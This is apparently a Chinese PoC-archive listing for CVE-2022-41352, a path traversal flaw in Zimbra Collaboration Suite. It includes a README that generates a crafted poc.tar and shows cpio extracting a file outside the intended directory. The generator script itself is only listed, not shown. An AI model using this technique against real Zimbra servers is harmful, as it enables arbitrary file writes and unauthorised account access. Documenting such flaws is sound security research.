POC详情: 704119233d9f91ebe14ebca58f173a9c14be06f3

来源
关联漏洞
标题: Zimbra Collaboration Suite 路径遍历漏洞 (CVE-2022-41352)
描述:Zimbra Collaboration Suite(ZCS)是美国Zimbra的一款开源协同办公套件。该产品包括WebMail、日历、通信录等。 Zimbra Collaboration Suite (ZCS) 8.8.15版本和9.0版本存在路径遍历漏洞。攻击者利用该漏洞通过amavisd上传任意文件,导致对其他用户帐户的错误访问。
描述
cve-2022-41352 poc
介绍
# cve-2022-41352

# generate poc.tar
```
$ chmod +x cpio_pocgen.py
$ ./cpio_pocgen.py
```

# show the middle finger to cpio
```
$ cd /tmp
$ mkdir -p poc/a/b

copy poc.tar to /tmp/poc/a/b/

$ cd /tmp/poc/a/b/
$ cpio -i < poc.tar
$ ls -al ../
total 16
drwxrwxr-x 3 xabino xabino 4096 ott 10 14:56 .
drwxrwxr-x 3 xabino xabino 4096 ott 10 14:55 ..
drwxrwxr-x 2 xabino xabino 4096 ott 10 14:56 b
-rw-r--r-- 1 xabino xabino   35 ott 10 14:56 here.txt <-- resource outside of /tmp/poc/a/b/

$ cat ../here.txt
I should not be here - by segfault
```
文件快照

[4.0K] /data/pocs/704119233d9f91ebe14ebca58f173a9c14be06f3 ├── [2.4K] cpio_pocgen.py ├── [ 18K] LICENSE ├── [2.5K] poc.tar └── [ 542] README.md 0 directories, 4 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。